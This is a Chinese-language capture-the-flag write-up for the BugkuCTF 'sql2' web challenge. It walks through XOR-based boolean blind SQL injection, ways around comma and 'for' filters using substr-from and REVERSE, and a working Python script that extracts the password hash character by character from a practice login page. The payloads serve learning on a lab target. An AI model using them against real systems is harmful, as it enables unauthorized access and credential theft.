bugkuctf web区 sql2
来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬)
在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archives/55286.html
但是,这很明显是有另一种属于 sql注入 的解法。那么作为一个萌新,sql注入也是一个很重要的知识点,于是决定用注入解出问题。
先抓包。然后看看它都过滤了什么。
然后你跟我说,只有这些东西(长度367)没有被过滤??
心态崩了,但是可以确定,这绝对是盲注,那就没有什么好说的了,发现它有两种返回形式 username error! 和 password error!
那么就是基于布尔类型的盲注了。^和-没有过滤,可以试试异或注入。
思路:
异或注入中 id= 'admin'^(0)^'' 就相当于id=0 而 id='admin'^(1)^'' 就相当于id=1 所以我们可以在括号中放入我们需要注入的sql语句,从而实现判断对错。
成功用 payload=admin'^(length(passwd)=32)^' 获得这个密码的长度是32位(看来很可能是md5)。然后快乐下一步。
但是这个憨批东西把逗号给过滤了(缓缓打出一个问好)。不过还好,我们还有别的方法
substr((database())from(1)for(1)) 就相当于 substr(database(),1,1)
然后。。你把 for 都过滤了?(我可能不适合这个东西。)
然后看了大佬的wp后才发现竟然可以不要for(惊!)
字符串从第二位开始到最后。
然后用这个方法,再把字符串反向取一遍不就可以拿到每一位的字符了吗?
二话不说
写脚本(注意一下网址是login.php而并不是index.php,当初因为搞错网址卡了好久)
import requests dict1 = 'abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890:_@,\{\}.' url = 'http://123.206.87.240:8007/web2/login.php' #注意网址 uname = "admin'^(ascii(mid(REVERSE(substr((passwd)from(-{})))from(-1)))={})^'" passwd = '123456' req = requests.session() cookie = {'PHPSESSID':'eae6uln265c9dm58f306g4d2sand7ea8'} params = {'uname':uname,'passwd':passwd} flag = '' for k in range(32): for i in range(72): params = {'uname':uname.format(str(k),str(ord(dict1[i]))),'passwd':passwd} ans = requests.post(url,params).text if 'username' in ans: print(dict1[i]) flag += dict1[i] break print(flag)
爆得md5
拿到md5解密网站上去看一下,拿到了密码
输入用户名密码。
进入
既然你都写出来了,那我就ls试一下,然后就拿到了flag
感谢大佬
参考wp:
https://blog.csdn.net/yiqiushi4748/article/details/93138238
https://blog.csdn.net/Langtuteng17/article/details/80779050
https://blog.csdn.net/Mikasa_/article/details/87475337